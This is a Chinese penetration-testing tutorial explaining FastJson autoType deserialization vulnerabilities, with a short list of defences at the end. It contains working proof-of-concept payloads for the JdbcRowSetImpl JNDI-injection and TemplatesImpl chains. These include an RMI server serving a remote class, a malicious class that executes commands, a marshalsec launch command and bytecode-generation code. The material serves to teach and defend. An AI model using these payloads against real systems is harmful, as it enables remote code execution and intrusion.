渗透测试 | FastJson漏洞原理与复现
字数 1786 2025-08-11 08:35:44
FastJson漏洞原理与复现详解
1. FastJson简介
FastJson是阿里巴巴开发的Java语言编写的高性能JSON库,用于在JSON和Java Object之间进行转换。主要提供两个接口:
JSON.toJSONString:实现序列化(Java对象→JSON)JSON.parseObject/JSON.parse:实现反序列化(JSON→Java对象)
2. 关键类与属性
2.1 核心类
JSON:门面类,提供入口DefaultJSONParser:主解析类ParserConfig:配置相关类JSONLexerBase:字符分析类JavaBeanDeserializer:JavaBean反序列化类
2.2 重要属性
SerializerFeature.WriteClassName:序列化时写入@type标记Feature.SupportNonPublicField:反序列化时支持非public字段
3. 序列化与反序列化机制
3.1 序列化(Java→JSON)
常用方法:JSON.toJSONString()
关键特性:
SerializerFeature:可设置多个序列化特性SerializeFilter:定制序列化的接口SerializeConfig:特定类型的自定义序列化配置
3.2 反序列化(JSON→Java)
常用方法:
parseparseObjectparseArray
关键参数:
Feature:反序列化特性Type:指定反序列化的类类型TypeReference:处理泛型反序列化ParseProcess:定制反序列化
3.3 parse与parseObject区别
JSON.parse(jsonString):从JSON字符串解析@type指定的类JSON.parseObject(jsonString, Target.class):直接使用指定的Target.class
4. 漏洞原理
4.1 漏洞核心
FastJson的autoType机制:当指定@type时,会调用对应类的setter/getter方法,如果这些方法存在安全隐患,就可能被利用。
4.2 调用链分析
- 创建
DefaultJSONParser对象 - 解析
@type指定的类 - 通过
TypeUtils.loadClass加载类 - 创建
ObjectDeserializer对象 - 调用
getDeserializer方法(存在黑名单绕过问题) - 最终调用setter/getter方法
4.3 可被调用的方法条件
setter方法条件:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
getter方法条件:
- 非静态方法
- 无参数
- 返回值类型继承自Collection/Map/AtomicBoolean/AtomicInteger/AtomicLong
5. 漏洞利用链
5.1 JdbcRowSetImpl利用链(JNDI注入)
利用类:com.sun.rowset.JdbcRowSetImpl
核心点:javax.naming.InitialContext#lookup参数可控
PoC:
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
RMI服务端:
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("vita_rain", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
恶意类:
public class EvilObject {
static {
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}
}
}
替代方案:
使用marshalsec启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099
5.2 TemplatesImpl利用链
利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
核心点:利用_outputProperties私有变量的getter方法
调用链:
getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() / EvilClass.newInstance()
PoC生成:
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));
byte[] bytes = clas.toBytecode();
return Base64.getEncoder().encodeToString(bytes);
}
触发PoC:
String PoC = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"bytecodes\":[\"" + evil + "\"], \"name\":\"a.b\", \"_tfactory\":{}, \"_outputProperties\":{}, \"allowedProtocols\":\"all\"}";
JSON.parseObject(PoC, Object.class, Feature.SupportNonPublicField);
注意事项:
_bytecodes必须包含恶意类的字节码,且该类父类为AbstractTranslet_name和_tfactory成员变量不能为空- 需要使用
Feature.SupportNonPublicField参数来设置私有变量
6. 漏洞版本
FastJson < 1.2.68 版本存在相关漏洞
7. 防御措施
- 升级到最新版本
- 关闭autotype功能
- 使用白名单机制限制反序列化的类
- 避免反序列化不可信的JSON数据